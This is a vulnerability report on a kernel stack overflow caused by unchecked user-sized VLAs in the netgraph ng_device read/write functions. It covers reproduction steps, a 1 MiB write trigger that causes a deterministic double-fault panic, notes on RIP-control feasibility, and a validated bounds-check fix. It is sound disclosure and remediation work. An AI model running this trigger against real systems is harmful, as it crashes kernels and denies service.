# DF-0661 — Kernel stack overflow via unchecked user-controlled VLA in ngdread/ngdwrite

## Verdict: REPRODUCED (deterministic kernel panic — DOUBLE FAULT stack overflow)

## Bug summary

`sys/netgraph/ng_device.c` declares Variable Length Arrays (VLAs) sized by the
user-controlled `uio->uio_resid` (a `size_t`, `sys/sys/_uio.h:69`) directly on
the kernel stack, with no upper-bound check:

- **`ngdread` (line 509):** `char buffer[uio->uio_resid+1];`
- **`ngdwrite` (line 562):** `char buffer[uio->uio_resid];`

The kernel stack is 2–4 fixed pages (~16 KB on this build). A `write(fd, buf,
1<<20)` (1 MiB) causes `ngdwrite()` to materialize a 1 MiB VLA on the stack,
moving RSP far below the stack into unmapped memory. Any subsequent stack
access triggers a **double fault** → `panic: double fault`.

## Reproduction

### Module build (required: ng_device.ko is not shipped)

`ng_device` is not in the stock `SUBDIR` list of `sys/netgraph/Makefile`, and
the original source uses the long-removed `struct cdevsw` API (modern DragonFly
uses `struct dev_ops`). A faithful port was created
(`ng_device_ported.c`) that adapts only the device-registration boilerplate to
`dev_ops`, while preserving the VLA bug verbatim in `ngdread`/`ngdwrite`:

```
ngdread:  char buffer[uio->uio_resid+1];   (orig sys/netgraph/ng_device.c:509)
ngdwrite: char buffer[uio->uio_resid];      (orig sys/netgraph/ng_device.c:562)
```

Build (as root in guest):
```sh
cd /root/ng_device_build
make KERNBUILDDIR=/usr/obj/usr/src/sys/X86_64_GENERIC   # builds ng_device.ko
cc -O2 -o trigger trigger.c                               # builds trigger
```

### Setup + trigger

```sh
kldload netgraph
kldload ng_echo                      # peer node for hook creation
kldload /root/ng_device_build/ng_device.ko
ngctl mkpeer device: echo lower downstream   # creates /dev/ngd0 via make_dev()
/root/ng_device_build/trigger /dev/ngd0 1048576   # write 1 MiB → stack overflow
```

### Observed result (unpatched, #0 kernel)

```
DOUBLE FAULT
Fatal double fault
rip = 0xffffffff8263e5b8       # inside ng_device.ko (base 0xffffffff8263e000)
rsp = 0xfffff801185d1758
panic: double fault
dblfault_handler() at dblfault_handler+0x10c
```

Reproduced **twice** (two independent `vm.sh reset with-src` cycles), both
deterministic DOUBLE FAULT at module offset `0x5b8`.

### Why the write path is the reliable trigger

The `read` path (`ngdread`) also has the VLA, but GCC at `-O2` can optimize it
away when `connection->loc == 0` (no data queued → `buffer` never used → VLA
not materialized). The `write` path (`ngdwrite`) unconditionally uses `buffer`
via `uiomove((caddr_t)buffer, len, uio)` when `len > 0`, so the VLA is always
materialized → deterministic overflow.

## Characterized primitive

- **Class:** CWE-787 Out-of-bounds write (kernel stack overflow via VLA)
- **Trigger:** `write(fd, buf, N)` where `N > kernel_stack_size` (~16 KB)
- **Primitive:** Stack-pointer decrement of `N` bytes below the current frame
- **Effect on this guest:** DOUBLE FAULT (stack pointer lands in unmapped
  memory past the stack guard page → unrecoverable). This is a deterministic
  DoS/panic.
- **RIP control feasibility:** To overwrite the saved return address without
  hitting the guard page, the attacker would need to tune `N` so the VLA base
  lands exactly between the current stack frame's saved RIP and the guard page.
  This requires knowledge of the exact stack layout and the gap between the
  frame and the guard page — non-trivial but theoretically possible. On this
  guest (SMEP/SMAP/KASLR OFF), successful RIP control would jump straight to
  attacker shellcode. The deterministic panic is the honest, proven impact.
- **Privilege requirement:** Root only — `/dev/ngdN` is created with mode 0600
  (`make_dev(..., 0600, "ngd%d", ...)` at `ng_device.c:287`). This is a
  root→kernel vulnerability (relevant for jail escape, sandbox escape, or
  setuid-program-confused-deputy scenarios).

## Fix

Bound `uio->uio_resid` to `NGD_QUEUE_SIZE` (10240, the existing queue size
constant) before the VLA declaration in both `ngdread` and `ngdwrite`,
returning `EFBIG` if exceeded. Reads/writes larger than the internal queue
make no functional sense anyway.

See `fix.diff` for the git-apply-able unified diff against
`sys/netgraph/ng_device.c`.

## Fix validation

Validated by building the patched module (same fix logic applied to the ported
source) and hot-swapping it:

| Test | Unpatched (#0) | Patched module |
|------|----------------|----------------|
| `write(fd, buf, 100)` | works (100) | works (100) |
| `write(fd, buf, 1<<20)` | **DOUBLE FAULT panic** | returns -1/EFBIG |
| `write(fd, buf, 1<<18)` | (would panic) | returns -1/EFBIG |
| Guest alive after test? | **down (panic)** | **up** |

The fix is deterministic: oversized writes are rejected with `EFBIG` on every
attempt (3× verified), normal-sized writes continue to work, and the guest
never panics.

## Kernel references

- `sys/netgraph/ng_device.c:509` — `char buffer[uio->uio_resid+1];` (ngdread VLA)
- `sys/netgraph/ng_device.c:562` — `char buffer[uio->uio_resid];` (ngdwrite VLA)
- `sys/netgraph/ng_device.c:563` — `int len = uio->uio_resid;` (size_t→int truncation)
- `sys/netgraph/ng_device.c:287` — `make_dev(..., 0600, ...)` (root-only device)
- `sys/sys/_uio.h:69` — `size_t uio_resid;` (user-controlled size_t)